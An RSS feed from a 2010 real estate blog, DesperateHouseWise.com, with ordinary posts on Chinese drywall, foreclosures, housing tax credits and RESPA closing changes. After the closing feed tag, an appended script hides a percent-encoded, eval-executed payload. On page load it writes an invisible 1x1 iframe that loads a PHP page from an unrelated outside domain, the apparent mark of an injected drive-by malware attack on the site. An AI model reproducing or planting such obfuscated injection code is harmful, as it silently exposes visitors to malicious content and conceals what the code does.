<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>DesperateHouseWise.com</title>
	<atom:link href="http://desperatehousewise.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://desperatehousewise.com</link>
	<description>Housing and Real Estate Musings. Desperate Times call for Desperate Relief.</description>
	<lastBuildDate>Thu, 11 Mar 2010 19:54:20 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Crist to FEMA: Help</title>
		<link>http://desperatehousewise.com/crist-to-fema-help/</link>
		<comments>http://desperatehousewise.com/crist-to-fema-help/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 19:52:41 +0000</pubDate>
		<dc:creator>DHW</dc:creator>
				<category><![CDATA[chinese drywall]]></category>
		<category><![CDATA[crist]]></category>
		<category><![CDATA[drywall victims insurance protection act]]></category>
		<category><![CDATA[fema]]></category>
		<category><![CDATA[florida]]></category>
		<category><![CDATA[homeowners]]></category>
		<category><![CDATA[insurance]]></category>
		<category><![CDATA[toxic drywall]]></category>
		<category><![CDATA[chinese]]></category>
		<category><![CDATA[drywall]]></category>

		<guid isPermaLink="false">http://desperatehousewise.com/?p=741</guid>
		<description><![CDATA[Florida governor Charlie Crist instructed the Interim Emergency Management Director to write a letter to FEMA Regional Administrator Philip May requesting federal assistance for state residents affected by toxic drywall.
In the letter, Crist asks FEMA to “conduct a preliminary damage  assessment related to the issue caused by the degradation of Chinese  drywall used [...]]]></description>
			<content:encoded><![CDATA[<p>Florida governor Charlie Crist instructed the Interim Emergency Management Director to write a letter to FEMA Regional Administrator Philip May requesting federal assistance for state residents affected by toxic drywall.</p>
<p>In the letter, Crist asks FEMA to “conduct a preliminary damage  assessment related to the issue caused by the degradation of Chinese  drywall used in homebuilding in Florida.”  The Florida  Office of Insurance Regulation said damage caused by Chinese drywall is not covered by homeowners insurance.</p>
<p>The <a href="http://www.govtrack.us/congress/bill.xpd?bill=h111-4094">Drywall Victims Insurance Protection Act of 2009</a> has yet to make its way through congress.</p>
<p>The letter to FEMA can be viewed <a href="http://weblogs.sun-sentinel.com/business/realestate/housekeys/blog/Request%20For%20IA%20JPDA%20Chinese%20Drywall%20Impacts.pdf">here</a>.</p>
<p>DHW asks: Have you or anyone you know been affected by Chinese drywall?</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://desperatehousewise.com/crist-to-fema-help/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://desperatehousewise.com/crist-to-fema-help/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Foreclosures down but not out</title>
		<link>http://desperatehousewise.com/foreclosures-down-but-not-out-2/</link>
		<comments>http://desperatehousewise.com/foreclosures-down-but-not-out-2/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 13:21:29 +0000</pubDate>
		<dc:creator>DHW</dc:creator>
				<category><![CDATA[HAMP]]></category>
		<category><![CDATA[foreclosure]]></category>
		<category><![CDATA[foreclosures]]></category>
		<category><![CDATA[down]]></category>
		<category><![CDATA[february]]></category>
		<category><![CDATA[Housing]]></category>

		<guid isPermaLink="false">http://desperatehousewise.com/?p=739</guid>
		<description><![CDATA[Real estate data tracking firm, RealtyTrac, reported foreclosures fell for a second straight month in February.
The numbers
February foreclosure filings of 308,524 reflect a decrease of 2 percent from January. However, this is still a 6 percent year-over-year increase.
&#8220;The 6 percent year-over-year increase we saw in  February was the smallest annual increase we&#8217;ve seen since [...]]]></description>
			<content:encoded><![CDATA[<p>Real estate data tracking firm, RealtyTrac, reported <a href="http://www.reuters.com/article/idUSN1014858620100311">foreclosures</a> fell for a second straight month in February.</p>
<p>The numbers</p>
<p>February foreclosure filings of 308,524 reflect a decrease of 2 percent from January. However, this is still a 6 percent year-over-year increase.</p>
<p>&#8220;The 6 percent year-over-year increase we saw in  February was the smallest annual increase we&#8217;ve seen since January 2006, when we began calculating year-over-year increases, but it still marked the 50th consecutive month of year-over-year increases in foreclosure activity,&#8221; said James J. Saccacio, CEO of RealtyTrac.</p>
<p>Some fear the recent decrease in foreclosures is a false-positive. With the Treasury&#8217;s HAMP coming under fire for its low success rate in<a href="http://online.wsj.com/article/BT-CO-20100225-721967.html?mod=WSJ_latestheadlines"> modifying </a>mortgages for at-risk homeowners, many fear foreclosures will eventually find their second wind.</p>
<p>DHW asks: Do you think foreclosures will continue to decline?</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://desperatehousewise.com/foreclosures-down-but-not-out-2/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://desperatehousewise.com/foreclosures-down-but-not-out-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8216;Real Housewives&#8217; real estate fight</title>
		<link>http://desperatehousewise.com/real-housewives-real-estate-fight/</link>
		<comments>http://desperatehousewise.com/real-housewives-real-estate-fight/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 18:02:24 +0000</pubDate>
		<dc:creator>DHW</dc:creator>
				<category><![CDATA[hamptons]]></category>
		<category><![CDATA[hamptons real estate market]]></category>
		<category><![CDATA[home]]></category>
		<category><![CDATA[house]]></category>
		<category><![CDATA[new york]]></category>
		<category><![CDATA[new york market]]></category>
		<category><![CDATA[real housewives]]></category>
		<category><![CDATA[hamptons real estate]]></category>
		<category><![CDATA[homes]]></category>
		<category><![CDATA[new york real estate]]></category>

		<guid isPermaLink="false">http://desperatehousewise.com/?p=730</guid>
		<description><![CDATA[The Huffington Post reports Real Housewives of New York rivals Kelly Bensimon and Ramona Singer are bringing their feud to the Hamptons real estate market as the two try to rent out their homes.
DHW asks: Do you really care?
Share on Facebook]]></description>
			<content:encoded><![CDATA[<p>The Huffington Post <a href="http://www.huffingtonpost.com/2010/03/04/real-housewives-real-esta_n_486220.html">reports</a> Real Housewives of New York rivals Kelly Bensimon and Ramona Singer are bringing their feud to the Hamptons real estate market as the two try to rent out their homes.</p>
<p>DHW asks: Do you really care?</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://desperatehousewise.com/real-housewives-real-estate-fight/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://desperatehousewise.com/real-housewives-real-estate-fight/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Americans equate homeownership with liberties</title>
		<link>http://desperatehousewise.com/americans-equate-homeownership-with-liberties/</link>
		<comments>http://desperatehousewise.com/americans-equate-homeownership-with-liberties/#comments</comments>
		<pubDate>Mon, 08 Mar 2010 19:57:11 +0000</pubDate>
		<dc:creator>DHW</dc:creator>
				<category><![CDATA[FHA]]></category>
		<category><![CDATA[Housing]]></category>
		<category><![CDATA[case-shiller]]></category>
		<category><![CDATA[fannie mae]]></category>
		<category><![CDATA[homeowners]]></category>
		<category><![CDATA[robert shiller]]></category>
		<category><![CDATA[shiller]]></category>
		<category><![CDATA[american]]></category>
		<category><![CDATA[case]]></category>
		<category><![CDATA[great depression]]></category>
		<category><![CDATA[Homeownership]]></category>

		<guid isPermaLink="false">http://desperatehousewise.com/?p=715</guid>
		<description><![CDATA[A great article published in the New York Times taps into the American psyche when it comes to homeownership. The author, Robert J. Shiller (one half of the super Swedish rock group Case/Shiller), provides a brief history behind  the creation of The Federal Housing Administration (FHA) and Fannie Mae in the 1930&#8217;s. Mr. Shiller notes [...]]]></description>
			<content:encoded><![CDATA[<p>A great article published in the New York Times <a href="http://www.nytimes.com/2010/03/07/business/07view.html">taps</a> into the American psyche when it comes to homeownership. The author, Robert J. Shiller (one half of the super Swedish rock group Case/Shiller), provides a brief history behind  the creation of The Federal Housing Administration (FHA) and Fannie Mae in the 1930&#8217;s. Mr. Shiller notes these institutions were created to prop up the housing market and thus stimulate employment. (One-third of the unemployed during The Great Depression were identified with the building trade.)</p>
<p>Mr. Shiller questions the financial soundness of having the taxpayer continue to finance (or at least insure) the American Dream. He feels the driving force behind this call to action is Americans&#8217; belief that homeownership means the preservation of certain liberties. While few can argue with this observation, the article leaves out another important side of the story.</p>
<p>Prior to the advent of FHA, Americans were losing a home to foreclosure at a rate of 1,000 a day. At the time, it was not uncommon for homeowners to have multiple mortgages (each with short terms and high rates). Sound familiar? FHA mortgages were created to cure this ailment by allowing at-risk homeowners to refinance these high cost loans with low, fixed rate mortgages. The program was later expanded to help homebuyers finance their purchases. What FHA brought to the table for the first time was an <a href="http://www.investopedia.com/terms/a/amortized_loan.asp">amortized</a> mortgage. Overtime, this instrument helped Americans build equity in their homes as well as build their personal wealth.</p>
<p>While Mr. Shiller is right to question the risk of supporting these institutions, it&#8217;s also important to look at the wealth building opportunities these lending programs have provided to disadvantaged populations. Rather than reinventing the wheel to get us out of The Great Housing Depression, we&#8217;d be wise to revisit history and learn what we can from the FHA.</p>
<p>DHW asks: What do you think?</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://desperatehousewise.com/americans-equate-homeownership-with-liberties/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://desperatehousewise.com/americans-equate-homeownership-with-liberties/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>I&#8217;ll trade my Mickey Mantle for your garden tub</title>
		<link>http://desperatehousewise.com/ill-trade-my-mickey-mantle-for-your-garden-tub/</link>
		<comments>http://desperatehousewise.com/ill-trade-my-mickey-mantle-for-your-garden-tub/#comments</comments>
		<pubDate>Sun, 07 Mar 2010 15:12:59 +0000</pubDate>
		<dc:creator>DHW</dc:creator>
				<category><![CDATA[baseball cards]]></category>
		<category><![CDATA[home]]></category>
		<category><![CDATA[house]]></category>
		<category><![CDATA[trade]]></category>
		<category><![CDATA[barter]]></category>
		<category><![CDATA[san diego]]></category>

		<guid isPermaLink="false">http://desperatehousewise.com/?p=709</guid>
		<description><![CDATA[Long live the barter system. A man offered to trade his cherished baseball card collection on craigslist for a San Diego home to share with his fiancee. His collection is thought to be worth $500,000. Hm, where did I put that Reggie Jackson rookie card?
DHW asks: Would you trade a prized possession for a house?
Share [...]]]></description>
			<content:encoded><![CDATA[<p>Long live the barter system. A man offered to trade his cherished baseball card collection on <a href="http://www.aolnews.com/weird-news/article/man-wants-to-trade-baseball-cards-for-house/19361248?icid=main|main|dl5|link2|http%3A%2F%2Fwww.aolnews.com%2Fweird-news%2Farticle%2Fman-wants-to-trade-baseball-cards-for-house%2F19361248">craigslist</a> for a San Diego home to share with his fiancee. His collection is thought to be worth $500,000. Hm, where did I put that Reggie Jackson rookie card?</p>
<p>DHW asks: Would you trade a prized possession for a house?</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://desperatehousewise.com/ill-trade-my-mickey-mantle-for-your-garden-tub/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://desperatehousewise.com/ill-trade-my-mickey-mantle-for-your-garden-tub/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Singles benefit more from housing tax credit &#8211; video</title>
		<link>http://desperatehousewise.com/singles-benefit-more-from-housing-tax-credit-video/</link>
		<comments>http://desperatehousewise.com/singles-benefit-more-from-housing-tax-credit-video/#comments</comments>
		<pubDate>Thu, 04 Mar 2010 00:31:51 +0000</pubDate>
		<dc:creator>DHW</dc:creator>
				<category><![CDATA[Housing]]></category>
		<category><![CDATA[housing tax credit]]></category>
		<category><![CDATA[housing tax credits]]></category>
		<category><![CDATA[buyer]]></category>
		<category><![CDATA[single]]></category>
		<category><![CDATA[singles]]></category>
		<category><![CDATA[tax credit]]></category>

		<guid isPermaLink="false">http://desperatehousewise.com/?p=704</guid>
		<description><![CDATA[News video regarding home buyer tax credit.
Share on Facebook]]></description>
			<content:encoded><![CDATA[<p>News<a href="http://link.brightcove.com/services/player/bcpid30311461001?bctid=69469878001"> video </a>regarding home buyer tax credit.</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://desperatehousewise.com/singles-benefit-more-from-housing-tax-credit-video/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://desperatehousewise.com/singles-benefit-more-from-housing-tax-credit-video/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Housing tax credits &#8211; 58 days to go!</title>
		<link>http://desperatehousewise.com/housing-tax-credits-58-days-to-go/</link>
		<comments>http://desperatehousewise.com/housing-tax-credits-58-days-to-go/#comments</comments>
		<pubDate>Wed, 03 Mar 2010 23:37:25 +0000</pubDate>
		<dc:creator>DHW</dc:creator>
				<category><![CDATA[$6500]]></category>
		<category><![CDATA[$8000]]></category>
		<category><![CDATA[H.R. 3548 Worker Homeownership and Business Assistance Act of 2009]]></category>
		<category><![CDATA[Housing]]></category>
		<category><![CDATA[housing tax credit]]></category>
		<category><![CDATA[housing tax credits]]></category>
		<category><![CDATA[realtors]]></category>
		<category><![CDATA[tax credit extension]]></category>
		<category><![CDATA[$8000 tax credit]]></category>
		<category><![CDATA[6500 tax credit]]></category>
		<category><![CDATA[housing credit extension]]></category>
		<category><![CDATA[tax credit]]></category>
		<category><![CDATA[worker homeownership and business assistance act of 2009]]></category>

		<guid isPermaLink="false">http://desperatehousewise.com/?p=700</guid>
		<description><![CDATA[Homebuyers have 58 days to obtain a written, binding contract to qualify for the housing tax credits. First-time buyers and buyers who have not owned a primary residence for the past 3 years qualify for an $8,000 tax credit (or 10% percent of the sales price, whichever is less) so long as they are under [...]]]></description>
			<content:encoded><![CDATA[<p>Homebuyers have 58 days to obtain a written, binding contract to qualify for the housing <a href="http://www.realtoractioncenter.com/realtor-party/documents/2009-NAR-Issue-Brief-Homebuyer-Tax-Credit-Changes-1104-1107.pdf">tax credits</a>. First-time buyers and buyers who have not owned a primary residence for the past 3 years qualify for an $8,000 tax credit (or 10% percent of the sales price, whichever is less) so long as they are under contract by April 30, 2010 and close on the home by July 1, 2010. Homebuyers who have owned a primary residence consecutively for 5 of the previous 8 years qualify for a $6,500 tax credit. The home being purchased in either scenario must be a primary residence.</p>
<p>Income limits are very generous for those who buy between now until April 30, 2010:</p>
<ul>
<li>$125,000 – single (Additional $20,000 phase out)</li>
<li>$225,000 – married (Additional $20,000 phase out)</li>
</ul>
<p>While the $8,000 tax credit is getting a lot of use, Realtors are seeing very few <a href="http://www.kitv.com/money/22697330/detail.html">existing homeowners</a> taking advantage of the $6,500 tax credit.</p>
<p>The housing tax credits were extended under the H.R. 3548 Worker Homeownership and Business Assistance Act of 2009</p>
<p>DHW asks: Will you take advantage of the housing tax credits?</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://desperatehousewise.com/housing-tax-credits-58-days-to-go/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://desperatehousewise.com/housing-tax-credits-58-days-to-go/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>1-hour good enough for developing photos, not real estate closings</title>
		<link>http://desperatehousewise.com/1-hour-good-enough-for-developing-photos-not-real-estate-closings/</link>
		<comments>http://desperatehousewise.com/1-hour-good-enough-for-developing-photos-not-real-estate-closings/#comments</comments>
		<pubDate>Wed, 03 Mar 2010 16:09:47 +0000</pubDate>
		<dc:creator>DHW</dc:creator>
				<category><![CDATA[Real Estate]]></category>
		<category><![CDATA[respa]]></category>
		<category><![CDATA[respa booklet]]></category>
		<category><![CDATA[respa changes]]></category>
		<category><![CDATA[attorney]]></category>
		<category><![CDATA[borrowers]]></category>
		<category><![CDATA[changes]]></category>
		<category><![CDATA[closing]]></category>
		<category><![CDATA[closing statement]]></category>
		<category><![CDATA[escrow]]></category>
		<category><![CDATA[homebuyers]]></category>
		<category><![CDATA[hud-1]]></category>
		<category><![CDATA[real estate closings]]></category>
		<category><![CDATA[time]]></category>
		<category><![CDATA[title]]></category>

		<guid isPermaLink="false">http://desperatehousewise.com/?p=684</guid>
		<description><![CDATA[Recent regulatory changes to RESPA are focused on creating a more transparent experience for homebuyers and borrowers.
The upside:

Borrowers are able to compare actual closing costs with fees originally quoted on the lender&#8217;s good faith estimate (GFE)
Lenders are required to provide more accurate GFEs or be forced to reimburse borrowers for certain costs that exceed the [...]]]></description>
			<content:encoded><![CDATA[<p>Recent regulatory changes to RESPA are focused on creating a more transparent experience for homebuyers and borrowers.</p>
<p>The upside:</p>
<ul>
<li>Borrowers are able to compare actual closing costs with fees originally quoted on the lender&#8217;s good faith estimate (GFE)</li>
<li>Lenders are required to provide more accurate GFEs or be forced to reimburse borrowers for certain costs that exceed the original quote by more than 10 percent (see page 28 of RESPA <a href="http://portal.hud.gov/portal/page/portal/HUD/documents/Settlement%20Booklet%20December%2015%20REVISED.pdf">handbook</a> for more explanation)</li>
</ul>
<p>The downside:</p>
<ul>
<li>Lenders are taking longer to process a loan, thus extending the time needed to close a real estate transaction by a few days</li>
</ul>
<p>Prior to these changes, most real estate closings could be preformed within one hour. However, lenders are  not the only folks needing more time to deal with the new regulations. Real estate attorneys and title agents are taking more time to explain new closing documents.</p>
<p>In today&#8217;s environment, trying to fit a real estate closing in one hour is like trying to fit a square peg in a round hole. There is widespread bellyaching from all sides involved that closings are being rushed in an  effort to move on to the next one. To avoid adding more stress into the mix, real estate attorneys and buyers would be wise to allow two hours for closing escrow. An attorney&#8217;s focus should be on the closing at hand and not the next party waiting to close.</p>
<p>DHW asks: Do you think real estate attorneys and title agents should allow more time for closings?</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://desperatehousewise.com/1-hour-good-enough-for-developing-photos-not-real-estate-closings/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://desperatehousewise.com/1-hour-good-enough-for-developing-photos-not-real-estate-closings/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>HUD seeks help to study discrimination based on sexual orientation</title>
		<link>http://desperatehousewise.com/hud-seeks-help-to-study-discrimination-based-on-sexual-orientation/</link>
		<comments>http://desperatehousewise.com/hud-seeks-help-to-study-discrimination-based-on-sexual-orientation/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 03:48:49 +0000</pubDate>
		<dc:creator>DHW</dc:creator>
				<category><![CDATA[Fair Housing Act]]></category>
		<category><![CDATA[Gays]]></category>
		<category><![CDATA[HUD]]></category>
		<category><![CDATA[Housing]]></category>
		<category><![CDATA[Lesbians]]></category>
		<category><![CDATA[sexual orientation]]></category>
		<category><![CDATA[discrimination]]></category>
		<category><![CDATA[Fair Housing]]></category>
		<category><![CDATA[gay]]></category>
		<category><![CDATA[gender]]></category>

		<guid isPermaLink="false">http://desperatehousewise.com/?p=678</guid>
		<description><![CDATA[Following through on a promise made last year to fight housing discrimination based on sexual orientation and gender, HUD is seeking help from gay communities in Chicago, New York and San Francisco. The U.S. Housing and Urban Development Department is attempting to formulate a study that can identify housing discrimination based on sexual orientation and [...]]]></description>
			<content:encoded><![CDATA[<p>Following through on a promise made last year to fight housing discrimination based on <a href="http://seattletimes.nwsource.com/html/nationworld/2011173278_apushousingsexualorientation.html">sexual orientation</a> and gender, HUD is seeking help from gay communities in Chicago, New York and San Francisco. The U.S. Housing and Urban Development Department is attempting to formulate a study that can identify housing discrimination based on sexual orientation and is looking for ideas in U.S. cities with the largest gay populations. This kind of study will be more complex than trying to identify discrimination based on color or race, something the department routinely tests.</p>
<p>DHW asks: Have you been discriminated against because of your sexual orientation or gender?</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://desperatehousewise.com/hud-seeks-help-to-study-discrimination-based-on-sexual-orientation/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://desperatehousewise.com/hud-seeks-help-to-study-discrimination-based-on-sexual-orientation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New RESPA handbook most often searched topic on this site for February</title>
		<link>http://desperatehousewise.com/new-respa-handbook-most-often-seached-topic-on-this-site-for-february/</link>
		<comments>http://desperatehousewise.com/new-respa-handbook-most-often-seached-topic-on-this-site-for-february/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 02:16:30 +0000</pubDate>
		<dc:creator>DHW</dc:creator>
				<category><![CDATA[respa]]></category>
		<category><![CDATA[respa booklet]]></category>
		<category><![CDATA[respa changes]]></category>
		<category><![CDATA[changes]]></category>
		<category><![CDATA[handbook]]></category>

		<guid isPermaLink="false">http://desperatehousewise.com/?p=653</guid>
		<description><![CDATA[As of Sunday, the new RESPA handbook was the most searched topic on DesperateHouseWise.com this month. With real estate attorneys and lenders scrambling to conform with new regulatory changes, buyers and sellers (as well as real estate practitioners) are looking for additional guidance.
The Real Estate Settlement Procedures Act (RESPA) is a federal law designed to [...]]]></description>
			<content:encoded><![CDATA[<p>As of Sunday, the new RESPA handbook was the most searched topic on DesperateHouseWise.com this month. With real estate attorneys and lenders scrambling to conform with new regulatory changes, buyers and sellers (as well as real estate practitioners) are looking for additional guidance.</p>
<p>The Real Estate Settlement Procedures Act (RESPA) is a federal law designed to &#8220;protect consumers from unfair practices by settlement service providers during  the home-buying and loan process.&#8221;</p>
<p>The new RESPA handbook can be found <a href="http://portal.hud.gov/portal/page/portal/HUD/documents/Settlement%20Booklet%20December%2015%20REVISED.pdf">here</a>.</p>
<p>DHW asks: Do you think the new changes to RESPA will help protect consumers?</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://desperatehousewise.com/new-respa-handbook-most-often-seached-topic-on-this-site-for-february/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://desperatehousewise.com/new-respa-handbook-most-often-seached-topic-on-this-site-for-february/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>